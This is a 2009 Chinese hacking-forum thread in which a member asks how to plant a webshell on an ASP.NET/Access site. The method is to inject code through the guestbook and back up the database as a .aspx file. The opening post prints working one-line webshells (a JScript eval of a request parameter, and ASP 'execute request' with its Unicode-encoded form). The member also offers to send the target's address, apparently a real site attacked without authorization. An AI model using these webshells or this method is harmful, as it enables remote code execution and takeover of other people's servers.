【3.A.S.T】网络安全爱好者 » 初入江湖 » 大牛们看看这个如何拿webshell

返回列表发帖

3.A.S.T少尉

Rank: 2

帖子: 63
积分: 115
威望: 102
金钱: 63
在线时间: 16 小时

1楼 跳转到 » 倒序看帖

字体大小: tT

发表于 2009-9-6 16:41 | 只看该作者

大牛们看看这个如何拿webshell

access 数据库+asp.net组合
数据库可备份为aspx，
留言功能可以写数据库
直接插入一句话
<%@ Page Language="Jscript" validateRequest="false" %><%Response.Write(eval(Request.Item["x"],"unsafe"));%>
备份数据库为1.aspx无法连接

asp的插入一句话需要转换编码
aspx插入如何插入？？
这是asp插入的语句
┼攠數畣整爠煥敵瑳∨≡┩>
上面那串乱码，是<% execute request("a")%>的unicode编码。

现在想知道aspx的如何插入一句话。。。
或者有别的方法拿shell
可上传图片。。。抓包上传还不熟，所以。。。想知道还有别的方法吗？

3.A.S.T少尉

Rank: 2

帖子: 63
积分: 115
威望: 102
金钱: 63
在线时间: 16 小时

2楼

发表于 2009-9-6 16:42 | 只看该作者

直接把一句话写入数据库，备份后访问时乱码。。。。

Administrators

Rank: 15

帖子: 3852
积分: 13044
威望: 16780
金钱: 36761
在线时间: 1139 小时

管理组高手勋章核心成员原创奖章帅哥勋章突出贡献奖优质人品奖章论坛元老管理组成员技术组成员

3楼

发表于 2009-9-6 16:50 | 只看该作者

查找其他的薄弱点。。。

希望做站长本人的学生请点击
http://www.3ast.com/viewthread.php?tid=13841
QQ790653916只负责SEO以及收费教学等方面联系，他人勿扰
于智者同行，你会不同凡响；与高人为伍，你会登上巅峰

3.A.S.T少尉

Rank: 2

帖子: 63
积分: 115
威望: 102
金钱: 63
在线时间: 16 小时

4楼

发表于 2009-9-6 17:06 | 只看该作者

3# 柔肠寸断

老大你来了啊，你真热心，刚去你qq空间留言。。提示什么列表正在维护。。去bkk空间。。看到他走了。。。

难道不能写入一句话。。。。。我把地址发给你你试试？

不允许旁注。。。只允许从我给你的站入手。。。可以吗？如何发私密消息啊。。。稍等网址发给

3.A.S.T少尉

Rank: 2

帖子: 63
积分: 115
威望: 102
金钱: 63
在线时间: 16 小时

5楼

发表于 2009-9-6 19:12 | 只看该作者

3# 柔肠寸断
在数据库中插入一句话为什么要转换为unicode。有新进展，本机架设后插asp编码后的访问不是乱码了，但是报错…看明天给你截图。

3.A.S.T士兵

Rank: 1

帖子: 17
积分: 30
威望: 31
金钱: 41
在线时间: 3 小时

6楼

发表于 2009-10-16 15:52 | 只看该作者

也想知道啊